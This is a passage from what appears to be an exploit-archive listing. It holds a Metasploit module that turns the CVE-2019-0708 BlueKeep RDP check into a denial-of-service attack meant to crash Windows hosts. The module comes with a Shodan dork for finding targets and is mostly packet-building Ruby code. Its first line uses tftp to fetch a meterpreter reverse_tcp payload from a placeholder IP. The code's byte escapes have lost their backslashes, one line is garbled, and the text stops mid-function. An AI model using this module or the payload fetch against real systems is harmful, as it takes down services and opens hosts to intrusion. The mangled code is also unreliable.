download by TFTP # tftp -g -r [REMOTE-FILENAME_ELF_32-bit_LSB_executable_MIPS || linux/mipsle/meterpreter/reverse_tcp] [IP] [PORT]
}

Microsoft Windows Remote Desktop BlueKeep denial of service exploit.

MD5 | 03ea74e7a141e90ebbfc356da5c86bfd

# Exploit Title: Bluekeep Denial of Service (metasploit module)
# Shodan Dork: port:3389
# Date: 07/14/2019
# Exploit Author: RAMELLA Sebastien (https://github.com/mekhalleh/)
# Vendor Homepage: https://microsoft.com
# Version: all affected RDP services by cve-2019-0708
# Tested on: Windows XP (32-bits) / Windows 7 (64-bits)
# CVE : 2019-0708

# I just modified the initial metasploit module for this vuln to produce a denial of service attack.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
Rank = NormalRanking

include Msf::Auxiliary::Dos
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE',
'Description' => %q{
This module checks a range of hosts for the CVE-2019-0708 vulnerability
by binding the MS_T120 channel outside of its normal slot and sending
DoS packets.
},
'Author' =>
[
'National Cyber Security Centre', # Discovery
'JaGoTu', # Module
'zerosum0x0', # Module
'Tom Sellers', # TLS support and documented packets
'RAMELLA Sebastien' # Denial of service module
],
'References' =>
[
[ 'CVE', '2019-0708' ],
[ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ]
],
'DisclosureDate' => '2019-05-14',
'License' => MSF_LICENSE,
'Notes' =>
{
'Stability' => [ CRASH_OS_DOWN ],
'AKA' => ['BlueKeep']
}
))

register_options(
[
OptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connection', '192.168.0.100']),
OptString.new('RDP_CLIENT_NAME', [ false, 'The client computer name to report during connection', 'rdesktop']),
OptString.new('RDP_DOMAIN', [ false, 'The client domain name to report during connection', '']),
OptString.new('RDP_USER', [ false, 'The username to report during connection.']),
OptAddressRange.new("RHOSTS", [ true, 'Target address, address range or CIDR identifier']),
OptInt.new('RPORT', [true, 'The target TCP port on which the RDP protocol response', 3389])
]
)
end

# ------------------------------------------------------------------------- #

def bin_to_hex(s)
return(s.each_byte.map { | b | b.to_s(16).rjust(2, '0') }.join)
end

def bytes_to_bignum(bytesIn, order = "little")
bytes = bin_to_hex(bytesIn)
if(order == "little")
bytes = bytes.scan(/../).reverse.join('')
end
s = "0x" + bytes

return(s.to_i(16))
end

## https://www.ruby-forum.com/t/integer-to-byte-string-speed-improvements/67110
def int_to_bytestring(daInt, num_chars = nil)
unless(num_chars)
bits_needed = Math.log(daInt) / Math.log(2)
num_chars = (bits_needed / 8.0).ceil
end
if(pack_code = { 1 => 'C', 2 => 'S', 4 => 'L' }[ num_chars ])
[daInt].pack(pack_code)
else
a = (0..(num_chars)).map{ | i |
(( daInt >> i*8 ) & 0xFF ).chr
}.join
a[0..-2] # Seems legit lol!
end
end

def open_connection()
begin
connect()
sock.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
vprint_error("Connection error: #{e.message}")
return(false)
end

return(true)
end

def rsa_encrypt(bignum, rsexp, rsmod)
return((bignum ** rsexp) % rsmod)
end

# ------------------------------------------------------------------------- #

## Used to abruptly abort scanner for a given host.
class RdpCommunicationError < StandardError
end

## Define standard RDP constants.
class RDPConstants
PROTOCOL_RDP = 0
end

DEFAULT_CHANNELS_DEFS =
"x04x00x00x00" + # channelCount: 4

## Channels definitions consist of a name (8 bytes) and options flags
## (4 bytes). Names are up to 7 ANSI characters with null termination.
"x72x64x70x73x6ex64x00x00" + # rdpsnd
"x0fx00x00xc0" +
"x63x6cx69x70x72x64x72x00" + # cliprdr
"x00x00xa0xc0" +
"x64x72x64x79x6ex76x63" + # drdynvc
"x00x00x00x80xc0" +
"x4dx53x5fx54x31x32x30" + # MS_T120
"x00x00x00x00x00"

## Builds x.224 Data (DT) TPDU - Section 13.7
def rdp_build_data_tpdu(data)
tpkt_length = data.length + 7

"x03x00" + # TPKT Header version 03, reserved 0
[tpkt_length].pack("S>") + # TPKT length
"x02xf0" + # X.224 Data TPDU (2 bytes)
"x80" + # X.224 End Of Transmission (0x80)
data
end

## Build the X.224 packet, encrypt with Standard RDP Security as needed.
## Default channel_id = 0x03eb = 1003.
def rdp_build_pkt(data, rc4enckey = nil, hmackey = nil, channel_id = "x03xeb", client_info = false, rdp_sec = true)
flags = 0
flags |= 0b1000 if(rdp_sec) # Set SEC_ENCRYPT
flags |= 0b1000000 if(client_info) # Set SEC_INFO_PKT

pdu = ""

## TS_SECURITY_HEADER - 2.2.8.1.1.2.1
## Send when the packet is encrypted w/ Standard RDP Security and in all Client Info PDUs.
if(client_info || rdp_sec)
pdu << [flags].pack("S<") # flags "x48x00" = SEC_INFO_PKT | SEC_ENCRYPT
pdu << "x00x00" # flagsHi
end

if(rdp_sec)
## Encrypt the payload with RDP Standard Encryption.
pdu << rdp_hmac(hmackey, data)[0..7]
pdu << rdp_rc4_crypt(rc4enckey, data)
else
pdu << data
end

user_data_len = pdu.length
udl_with_flag = 0x8000 | user_data_len

pkt = "x64" # sendDataRequest
pkt << "x00x08" # intiator userId (TODO: for a functional client this isn't static)
pkt << channel_id # channelId
pkt << "x70" # dataPriority
pkt <")
pkt << pdu

return(rdp_build_data_tpdu(pkt))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/73d01865-2eae-407f-9b2c-87e31daac471
## Share Control Header - TS_SHARECONTROLHEADER - 2.2.8.1.1.1.1
def rdp_build_share_control_header(type, data, channel_id = "xf1x03")
total_len = data.length + 6

return(
[total_len].pack("S<") + # totalLength - includes all headers
[type].pack("S<") + # pduType - flags 16 bit, unsigned
channel_id + # PDUSource: 0x03f1 = 1009
data
)
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4b5d4c0d-a657-41e9-9c69-d58632f46d31
## Share Data Header - TS_SHAREDATAHEADER - 2.2.8.1.1.1.2
def rdp_build_share_data_header(type, data)
uncompressed_len = data.length + 4

return(
"xeax03x01x00" + # shareId: 66538
"x00" + # pad1
"x01" + # streamID: 1
[uncompressed_len].pack("S<") + # uncompressedLength - 16 bit, unsigned int
[type].pack("C") + # pduType2 - 8 bit, unsigned int - 2.2.8.1.1.2
"x00" + # compressedType: 0
"x00x00" + # compressedLength: 0
data
)
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/6c074267-1b32-4ceb-9496-2eb941a23e6b
## Virtual Channel PDU 2.2.6.1
def rdp_build_virtual_channel_pdu(flags, data)
data_len = data.length

return(
[data_len].pack("L<") + # length
[flags].pack("L<") + # flags
data
)
end

def rdp_calculate_rc4_keys(client_random, server_random)
## preMasterSecret = First192Bits(ClientRandom) + First192Bits(ServerRandom).
preMasterSecret = client_random[0..23] + server_random[0..23]

## PreMasterHash(I) = SaltedHash(preMasterSecret, I)
## MasterSecret = PreMasterHash(0x41) + PreMasterHash(0x4242) + PreMasterHash(0x434343).
masterSecret = rdp_salted_hash(preMasterSecret, "A", client_random,server_random) + rdp_salted_hash(preMasterSecret, "BB", client_random, server_random) + rdp_salted_hash(preMasterSecret, "CCC", client_random, server_random)

## MasterHash(I) = SaltedHash(MasterSecret, I)
## SessionKeyBlob = MasterHash(0x58) + MasterHash(0x5959) + MasterHash(0x5A5A5A).
sessionKeyBlob = rdp_salted_hash(masterSecret, "X", client_random, server_random) + rdp_salted_hash(masterSecret, "YY", client_random, server_random) + rdp_salted_hash(masterSecret, "ZZZ", client_random, server_random)

## InitialClientDecryptKey128 = FinalHash(Second128Bits(SessionKeyBlob)).
initialClientDecryptKey128 = rdp_final_hash(sessionKeyBlob[16..31], client_random, server_random)

## InitialClientEncryptKey128 = FinalHash(Third128Bits(SessionKeyBlob)).
initialClientEncryptKey128 = rdp_final_hash(sessionKeyBlob[32..47], client_random, server_random)

macKey = sessionKeyBlob[0..15]

return initialClientEncryptKey128, initialClientDecryptKey128, macKey, sessionKeyBlob
end

def rdp_connection_initiation()
## Code to check if RDP is open or not.
vprint_status("Verifying RDP protocol...")

vprint_status("Attempting to connect using RDP security")
rdp_send(pdu_negotiation_request(datastore['RDP_USER'], RDPConstants::PROTOCOL_RDP))

received = sock.get_once(-1, 5)

## TODO: fix it.
if (received and received.include? "x00x12x34x00")
return(true)
end

return(false)
end

## FinalHash(K) = MD5(K + ClientRandom + ServerRandom).
def rdp_final_hash(k, client_random_bytes, server_random_bytes)
md5 = Digest::MD5.new

md5 << k
md5 << client_random_bytes
md5 << server_random_bytes

return([md5.hexdigest].pack("H*"))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7c61b54e-f6cd-4819-a59a-daf200f6bf94
## mac_salt_key = "Wx13xc58x7fxebxa9x10*x1exddVx96x8b[d"
## data_content = "x12x00x17x00xefx03xeax03x02x00x00x01x04x00$x00x00x00"
## hmac = rdp_hmac(mac_salt_key, data_content) # hexlified: "22d5aeb486994a0c785dc929a2855923".
def rdp_hmac(mac_salt_key, data_content)
sha1 = Digest::SHA1.new
md5 = Digest::MD5.new

pad1 = "x36" * 40
pad2 = "x5c" * 48

sha1 << mac_salt_key
sha1 << pad1
sha1 << [data_content.length].pack('<L')
sha1 << data_content

md5 << mac_salt_key
md5 << pad2
md5 << [sha1.hexdigest].pack("H*")

return([md5.hexdigest].pack("H*"))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/927de44c-7fe8-4206-a14f-e5517dc24b1c
## Parse Server MCS Connect Response PUD - 2.2.1.4
def rdp_parse_connect_response(pkt)
ptr = 0
rdp_pkt = pkt[0x49..pkt.length]

while(ptr < rdp_pkt.length)
header_type = rdp_pkt[ptr..ptr + 1]
header_length = rdp_pkt[ptr + 2..ptr + 3].unpack("S<")[0]
# vprint_status("header: #{bin_to_hex(header_type)}, len: #{header_length}")

if(header_type == "x02x0c")
# vprint_status("Security header")

server_random = rdp_pkt[ptr + 20..ptr + 51]
public_exponent = rdp_pkt[ptr + 84..ptr + 87]

modulus = rdp_pkt[ptr + 88..ptr + 151]
# vprint_status("modulus_old: #{bin_to_hex(modulus)}")

rsa_magic = rdp_pkt[ptr + 68..ptr + 71]
if(rsa_magic != "RSA1")
print_error("Server cert isn't RSA, this scenario isn't supported (yet).")
raise RdpCommunicationError
end
# vprint_status("RSA magic: #{rsa_magic}")

bitlen = rdp_pkt[ptr + 72..ptr + 75].unpack("L<")[0] - 8
vprint_status("RSA #{bitlen}-bits")

modulus = rdp_pkt[ptr + 88..ptr + 87 + bitlen]
# vprint_status("modulus_new: #{bin_to_hex(modulus)}")
end

ptr += header_length
end

# vprint_status("SERVER_MODULUS: #{bin_to_hex(modulus)}")
# vprint_status("SERVER_EXPONENT: #{bin_to_hex(public_exponent)}")
# vprint_status("SERVER_RANDOM: #{bin_to_hex(server_random)}")

rsmod = bytes_to_bignum(modulus)
rsexp = bytes_to_bignum(public_exponent)
rsran = bytes_to_bignum(server_random)

vprint_status("MODULUS: #{bin_to_hex(modulus)} - #{rsmod.to_s}")
vprint_status("EXPONENT: #{bin_to_hex(public_exponent)} - #{rsexp.to_s}")
vprint_status("SVRANDOM: #{bin_to_hex(server_random)} - #{rsran.to_s}")

return rsmod, rsexp, rsran, server_random, bitlen
end

def rdp_rc4_crypt(rc4obj, data)
rc4obj.encrypt(data)
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/705f9542-b0e3-48be-b9a5-cf2ee582607f
## SaltedHash(S, I) = MD5(S + SHA(I + S + ClientRandom + ServerRandom))
def rdp_salted_hash(s_bytes, i_bytes, client_random_bytes, server_random_bytes)
sha1 = Digest::SHA1.new
md5 = Digest::MD5.new

sha1 << i_bytes
sha1 << s_bytes
sha1 << client_random_bytes
sha1 << server_random_bytes

md5 << s_bytes
md5 << [sha1.hexdigest].pack("H*")

return([md5.hexdigest].pack("H*"))
end

def rdp_recv()
buffer_1 = sock.get_once(4, 5)
raise RdpCommunicationError unless buffer_1 # nil due to a timeout

buffer_2 = sock.get_once(buffer_1[2..4].unpack("S>")[0], 5)
raise RdpCommunicationError unless buffer_2 # nil due to a timeout

vprint_status("Received data: #{bin_to_hex(buffer_1 + buffer_2)}")
return(buffer_1 + buffer_2)
end

def rdp_send(data)
vprint_status("Send data: #{bin_to_hex(data)}")

sock.put(data)
end

def rdp_sendrecv(data)
rdp_send(data)

return(rdp_recv())
end

# ------------------------------------------------------------------------- #

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/18a27ef9-6f9a-4501-b000-94b1fe3c2c10
## Client X.224 Connect Request PDU - 2.2.1.1
def pdu_negotiation_request(user_name = "", requested_protocols = RDPConstants::PROTOCOL_RDP)
## Blank username is valid, nil is random.
user_name = Rex::Text.rand_text_alpha(12) if(user_name.nil?)
tpkt_len = user_name.length + 38
x224_len = user_name.length + 33

return(
"x03x00" + # TPKT Header version 03, reserved 0
[tpkt_len].pack("S>") + # TPKT length: 43
[x224_len].pack("C") + # X.224 LengthIndicator
"xe0" + # X.224 Type: Connect Request
"x00x00" + # dst reference
"x00x00" + # src reference
"x00" + # class and options
"x43x6fx6fx6bx69x65x3ax20x6dx73x74x73x68x61x73x68x3d" + # cookie - literal 'Cookie: mstshash='
user_name + # Identifier "username"
"x0dx0a" + # cookie terminator
"x01x00" + # Type: RDP Negotiation Request (0x01)
"x08x00" + # Length
[requested_protocols].pack('L<') # requestedProtocols
)
end

# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b
def pdu_connect_initial(selected_proto = RDPConstants::PROTOCOL_RDP, host_name = "rdesktop", channels_defs = DEFAULT_CHANNELS_DEFS)
## After negotiating TLS or NLA the connectInitial packet needs to include the
## protocol selection that the server indicated in its negotiation response.

## TODO: If this is pulled into an RDP library then the channel list likely
## needs to be build dynamically. For example, MS_T120 likely should only
## ever be sent as part of checks for CVE-2019-0708.

## build clientName - 12.2.1.3.2 Client Core Data (TS_UD_CS_CORE)
## 15 characters + null terminator, converted to unicode
## fixed length - 32 characters total
name_unicode = Rex::Text.to_unicode(host_name[0..14], type = 'utf-16le')
name_unicode += "x00" * (32 - name_unicode.length)

pdu = "x7fx65" + # T.125 Connect-Initial (BER: Application 101)
"x82x01xb2" + # Length (BER: Length)
"x04x01x01" + # CallingDomainSelector: 1 (BER: OctetString)
"x04x01x01" + # CalledDomainSelector: 1 (BER: OctetString)
"x01x01xff" + # UpwaredFlag: True (BER: boolean)

## Connect-Initial: Target Parameters
"x30x19" + # TargetParamenters (BER: SequenceOf)
## *** not sure why the BER encoded Integers below have 2 byte values instead of one ***
"x02x01x22x02x01x02x02x01x00x02x01x01x02x01x00x02x01x01x02x02xffxffx02x01x02" +

## Connect-Intial: Minimum Parameters
"x30x19" + # MinimumParameters (BER: SequencOf)
"x02x01x01x02x01x01x02x01x01x02x01x01x02x01x00x02x01x01x02x02x04x20x02x01x02" +

## Connect-Initial: Maximum Parameters
"x30x1c" + # MaximumParameters (BER: SequencOf)
"x02x02xffxffx02x02xfcx17x02x02xffxffx02x01x01x02x01x00x02x01x01x02x02xffxffx02x01x02" +

## Connect-Initial: UserData
"x04x82x01x51" + # UserData, length 337 (BER: OctetString)

## T.124 GCC Connection Data (ConnectData) - PER Encoding used
"x00x05" + # object length
"x00x14x7cx00x01" + # object: OID 0.0.20.124.0.1 = Generic Conference Control
"x81x48" + # Length: ??? (Connect PDU)
"x00x08x00x10x00x01xc0x00" + # T.124 Connect PDU, Conference name 1
"x44x75x63x61" + # h221NonStandard: 'Duca' (client-to-server H.221 key)
"x81x3a" + # Length: ??? (T.124 UserData section)

## Client MCS Section - 2.2.1.3
"x01xc0" + # clientCoreData (TS_UD_CS_CORE) header - 2.2.1.3.2
"xeax00" + # Length: 234 (includes header)
"x0ax00x08x00" + # version: 8.1 (RDP 5.0 -> 8.1)
"x80x07" + # desktopWidth: 1920
"x38x04" + # desktopHeigth: 1080
"x01xca" + # colorDepth: 8 bpp
"x03xaa" + # SASSequence: 43523
"x09x04x00x00" + # keyboardLayout: 1033 (English US)
"xeex42x00x00" + # clientBuild: ????
[name_unicode].pack("a*") + # clientName
"x04x00x00x00" + # keyboardType: 4 (IBMEnhanced 101 or 102)
"x00x00x00x00" + # keyboadSubtype: 0
"x0cx00x00x00" + # keyboardFunctionKey: 12
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" + # imeFileName (64 bytes)
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x01xca" + # postBeta2ColorDepth: 8 bpp
"x01x00" + # clientProductID: 1
"x00x00x00x00" + # serialNumber: 0
"x18x00" + # highColorDepth: 24 bpp
"x0fx00" + # supportedColorDepths: flag (24 bpp | 16 bpp | 15 bpp)
"xafx07" + # earlyCapabilityFlags
"x62x00x63x00x37x00x38x00x65x00x66x00x36x00x33x00" + # clientDigProductID (64 bytes)
"x2dx00x39x00x64x00x33x00x33x00x2dx00x34x00x31x00" +
"x39x38x00x38x00x2dx00x39x00x32x00x63x00x66x00x2d" +
"x00x00x31x00x62x00x32x00x64x00x61x00x42x42x42x42" +
"x07" + # connectionType: 7
"x00" + # pad1octet

## serverSelectedProtocol - After negotiating TLS or CredSSP this value
## must match the selectedProtocol value from the server's Negotiate
## Connection confirm PDU that was sent before encryption was started.
[selected_proto].pack('L<') + # "x01x00x00x00"

"x56x02x00x00" +
"x50x01x00x00" +
"x00x00" +
"x64x00x00x00" +
"x64x00x00x00" +

"x04xc0" + # clientClusterdata (TS_UD_CS_CLUSTER) header - 2.2.1.3.5
"x0cx00" + # Length: 12 (includes header)
"x15x00x00x00" + # flags (REDIRECTION_SUPPORTED | REDIRECTION_VERSION3)
"x00x00x00x00" + # RedirectedSessionID
"x02xc0" + # clientSecuritydata (TS_UD_CS_SEC) header - 2.2.1.3.3
"x0cx00" + # Length: 12 (includes header)
"x1bx00x00x00" + # encryptionMethods: 3 (40 bit | 128 bit)
"x00x00x00x00" + # extEncryptionMethods (French locale only)
"x03xc0" + # clientNetworkData (TS_UD_CS_NET) - 2.2.1.3.4
"x38x00" + # Length: 56 (includes header)
channels_defs

## Fix. for packet modification.
## T.125 Connect-Initial
size_1 = [pdu.length - 5].pack("s") # Length (BER: Length)
pdu[3] = size_1[1]
pdu[4] = size_1[0]

## Connect-Initial: UserData
size_2 = [pdu.length - 102].pack("s") # UserData, length (BER: OctetString)
pdu[100] = size_2[1]
pdu[101] = size_2[0]

## T.124 GCC Connection Data (ConnectData) - PER Encoding used
size_3 = [pdu.length - 111].pack("s") # Length (Connect PDU)
pdu[109] = "x81"
pdu[110] = size_3[0]

size_4 = [pdu.length - 125].pack("s") # Length (T.124 UserData section)
pdu[123] = "x81"
pdu[124] = size_4[0]

## Client MCS Section - 2.2.1.3
size_5 = [pdu.length - 383].pack("s") # Length (includes header)
pdu[385] = size_5[0]

rdp_build_data_tpdu(pdu)
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f
## Client Security Exchange PDU - 2.2.1.10
def pdu_security_exchange(rcran, rsexp, rsmod, bitlen)
encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod)
encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum)

bitlen += 8 # Pad with size of TS_SECURITY_PACKET header

userdata_length = 8 + bitlen
userdata_length_low = userdata_length & 0xFF
userdata_length_high = userdata_length / 256
flags = 0x80 | userdata_length_high

pdu = "x64" + # T.125 sendDataRequest
"x00x08" + # intiator userId
"x03xeb" + # channelId = 1003
"x70" + # dataPriority = high, segmentation = begin | end
[flags].pack("C") +
[userdata_length_low].pack("C") + # UserData length

# TS_SECURITY_PACKET - 2.2.1.10.1
"x01x00" + # securityHeader flags
"x00x00" + # securityHeader flagsHi
[bitlen].pack("L<") + # TS_ length
encrypted_rcran + # encryptedClientRandom - 64 bytes
"x00x00x00x00x00x00x00x00" # 8 bytes rear padding (always present)

return(rdp_build_data_tpdu(pdu))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c
## Client MCS Erect Domain Request PDU - 2.2.1.5
def pdu_erect_domain_request()
pdu = "x04" + # T.125 ErectDomainRequest
"x01x00" + # subHeight - length 1, value 0
"x01x00" # subInterval - length 1, value 0

return(rdp_build_data_tpdu(pdu))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247
## Client MCS Attach User Request PDU - 2.2.1.6
def pdu_attach_user_request()
pdu = "x28" # T.125 AttachUserRequest

return(rdp_build_data_tpdu(pdu))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b
## Client MCS Channel Join Request PDU -2.2.1.8
def pdu_channel_request(user1, channel_id)
pdu = "x38" + [user1, channel_id].pack("nn") # T.125 ChannelJoinRequest

return(rdp_build_data_tpdu(pdu))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d
## TS_INFO_PACKET - 2.2.1.11.1.1
def pdu_client_info(user_name, domain_name = "", ip_address = "")
## Max. len for 4.0/6.0 servers is 44 bytes including terminator.
## Max. len for all other versions is 512 including terminator.
## We're going to limit to 44 (21 chars + null -> unicode) here.

## Blank username is valid, nil = random.
user_name = Rex::Text.rand_text_alpha(10) if user_name.nil?
user_unicode = Rex::Text.to_unicode(user_name[0..20], type = 'utf-16le')
uname_len = user_unicode.length

## Domain can can be, and for rdesktop typically is, empty.
## Max. len for 4.0/5.0 servers is 52 including terminator.
## Max. len for all other versions is 512 including terminator.
## We're going to limit to 52 (25 chars + null -> unicode) here.
domain_unicode = Rex::Text.to_unicode(domain_name[0..24], type = 'utf-16le')
domain_len = domain_unicode.length

## This address value is primarily used to reduce the fields by which this
## module can be fingerprinted. It doesn't show up in Windows logs.
## clientAddress + null terminator
ip_unicode = Rex::Text.to_unicode(ip_address, type = 'utf-16le') + "x00x00"
ip_len = ip_unicode.length

pdu = "xa1xa5x09x04" +
"x09x04xbbx47" + # CodePage
"x03x00x00x00" + # flags - INFO_MOUSE, INFO_DISABLECTRLALTDEL, INFO_UNICODE, INFO_MAXIMIZESHELL, INFO_ENABLEWINDOWSKEY
[domain_len].pack("S<") + # cbDomain (length value) - EXCLUDES null terminator
[uname_len].pack("S<") + # cbUserName (length value) - EXCLUDES null terminator
"x00x00" + # cbPassword (length value)
"x00x00" + # cbAlternateShell (length value)
"x00x00" + # cbWorkingDir (length value)
[domain_unicode].pack("a*") + # Domain
"x00x00" + # Domain null terminator, EXCLUDED from value of cbDomain
[user_unicode].pack("a*") + # UserName
"x00x00" + # UserName null terminator, EXCLUDED FROM value of cbUserName
"x00x00" + # Password - empty
"x00x00" + # AlternateShell - empty

## TS_EXTENDED_INFO_PACKET - 2.2.1.11.1.1.1
"x02x00" + # clientAddressFamily - AF_INET - FIXFIX - detect and set dynamically
[ip_len].pack("S<") + # cbClientAddress (length value) - INCLUDES terminator ... for reasons.
[ip_unicode].pack("a*") + # clientAddress (unicode + null terminator (unicode)

"x3cx00" + # cbClientDir (length value): 60
"x43x00x3ax00x5cx00x57x00x49x00x4ex00x4ex00x54x00" + # clientDir - 'C:WINNTSystem32mstscax.dll' + null terminator
"x5cx00x53x00x79x00x73x00x74x00x65x00x6dx00x33x00" +
"x32x00x5cx00x6dx00x73x00x74x00x73x00x63x00x61x00" +
"x78x00x2ex00x64x00x6cx00x6cx00x00x00" +

## clientTimeZone - TS_TIME_ZONE struct - 172 bytes
## These are the default values for rdesktop
"xa4x01x00x00" + # Bias

## StandardName - 'GTB,normaltid'
"x4dx00x6fx00x75x00x6ex00x74x00x61x00x69x00x6ex00" +
"x20x00x53x00x74x00x61x00x6ex00x64x00x61x00x72x00" +
"x64x00x20x00x54x00x69x00x6dx00x65x00x00x00x00x00" +
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x0bx00x00x00x01x00x02x00x00x00x00x00x00x00" + # StandardDate
"x00x00x00x00" + # StandardBias

## DaylightName - 'GTB,sommartid'
"x4dx00x6fx00x75x00x6ex00x74x00x61x00x69x00x6ex00" +
"x20x00x44x00x61x00x79x00x6cx00x69x00x67x00x68x00" +
"x74x00x20x00x54x00x69x00x6dx00x65x00x00x00x00x00" +
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x03x00x00x00x02x00x02x00x00x00x00x00x00x00" + # DaylightDate
"xc4xffxffxff" + # DaylightBias

"x01x00x00x00" + # clientSessionId
"x06x00x00x00" + # performanceFlags
"x00x00" + # cbAutoReconnectCookie
"x64x00x00x00"

return(pdu)
end

# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4e9722c3-ad83-43f5-af5a-529f73d88b48
# Confirm Active PDU Data - TS_CONFIRM_ACTIVE_PDU - 2.2.1.13.2.1
def pdu_client_confirm_active()
pdu = "xeax03x01x00" + # shareId: 66538
"xeax03" + # originatorId
"x06x00" + # lengthSourceDescriptor: 6
"x3ex02" + # lengthCombinedCapabilities: ???
"x4dx53x54x53x43x00" + # SourceDescriptor: 'MSTSC'
"x17x00" + # numberCapabilities: 23
"x00x00" + # pad2Octets
"x01x00" + # capabilitySetType: 1 - TS_GENERAL_CAPABILITYSET
"x18x00" + # lengthCapability: 24
"x01x00x03x00x00x02x00x00x00x00x1dx04x00x00x00x00" +
"x00x00x00x00" +
"x02x00" + # capabilitySetType: 2 - TS_BITMAP_CAPABILITYSET
"x1cx00" + # lengthCapability: 28
"x20x00x01x00x01x00x01x00x80x07x38x04x00x00x01x00" +
"x01x00x00x1ax01x00x00x00" +
"x03x00" + # capabilitySetType: 3 - TS_ORDER_CAPABILITYSET
"x58x00" + # lengthCapability: 88
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x00x00x01x00x14x00x00x00x01x00x00x00xaax00" +
"x01x01x01x01x01x00x00x01x01x01x00x01x00x00x00x01" +
"x01x01x01x01x01x01x01x00x01x01x01x00x00x00x00x00" +
"xa1x06x06x00x00x00x00x00x00x84x03x00x00x00x00x00" +
"xe4x04x00x00x13x00x28x00x03x00x00x03x78x00x00x00" +
"x78x00x00x00xfcx09x00x80x00x00x00x00x00x00x00x00" +
"x00x00x00x00x00x00x00x00x00x00x00x00" +
"x0ax00" + # capabilitySetType: 10 - ??
"x08x00" + # lengthCapability: 8
"x06x00x00x00" +
"x07x00" + # capabilitySetType: 7 - TSWINDOWACTIVATION_CAPABILITYSET
"x0cx00" + # lengthCapability: 12
"x00x00x00x00x00x00x00x00" +
"x05x00" + # capabilitySetType: 5 - TS_CONTROL_CAPABILITYSET
"x0cx00" + # lengthCapability: 12
"x00x00x00x00x02x00x02x00" +
"x08x00" + # capabilitySetType: 8 - TS_POINTER_CAPABILITYSET
"x0ax00" + # lengthCapability: 10
"x01x00x14x00x15x00" +
"x09x00" + # capabilitySetType: 9 - TS_SHARE_CAPABILITYSET
"x08x00" + # lengthCapability: 8
"x00x00x00x00" +
"x0dx00" + # capabilitySetType: 13 - TS_INPUT_CAPABILITYSET
"x58x00" + # lengthCapability: 88
"x91x00x20x00x09x04x00x00x04x00x00x00x00x00x00x00" +
"x0cx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" +
"x00x00x00x00" +
"x0cx00" + # capabilitySetType: 12 - TS_SOUND_CAPABILITYSET
"x08x00" + # lengthCapability: 8
"x01x00x00x00" +
"x0ex00" + # capabilitySetType: 14 - TS_FONT_CAPABILITYSET
"x08x00" + # lengthCapability: 8
"x01x00x00x00" +
"x10x00" + # capabilitySetType: 16 - TS_GLYPHCAChE_CAPABILITYSET
"x34x00" + # lengthCapability: 52
"xfex00x04x00xfex00x04x00xfex00x08x00xfex00x08x00" +
"xfex00x10x00xfex00x20x00xfex00x40x00xfex00x80x00" +
"xfex00x00x01x40x00x00x08x00x01x00x01x03x00x00x00" +
"x0fx00" + # capabilitySetType: 15 - TS_BRUSH_CAPABILITYSET
"x08x00" + # lengthCapability: 8
"x01x00x00x00" +
"x11x00" + # capabilitySetType: ??
"x0cx00" + # lengthCapability: 12
"x01x00x00x00x00x28x64x00" +
"x14x00" + # capabilitySetType: ??
"x0cx00" + # lengthCapability: 12
"x01x00x00x00x00x00x00x00" +
"x15x00" + # capabilitySetType: ??
"x0cx00" + # lengthCapability: 12
"x02x00x00x00x00x0ax00x01" +
"x1ax00" + # capabilitySetType: ??
"x08x00" + # lengthCapability: 8
"xafx94x00x00" +
"x1cx00" + # capabilitySetType: ??
"x0cx00" + # lengthCapability: 12
"x12x00x00x00x00x00x00x00" +
"x1bx00" + # capabilitySetType: ??
"x06x00" + # lengthCapability: 6
"x01x00" +
"x1ex00" + # capabilitySetType: ??
"x08x00" + # lengthCapability: 8
"x01x00x00x00" +
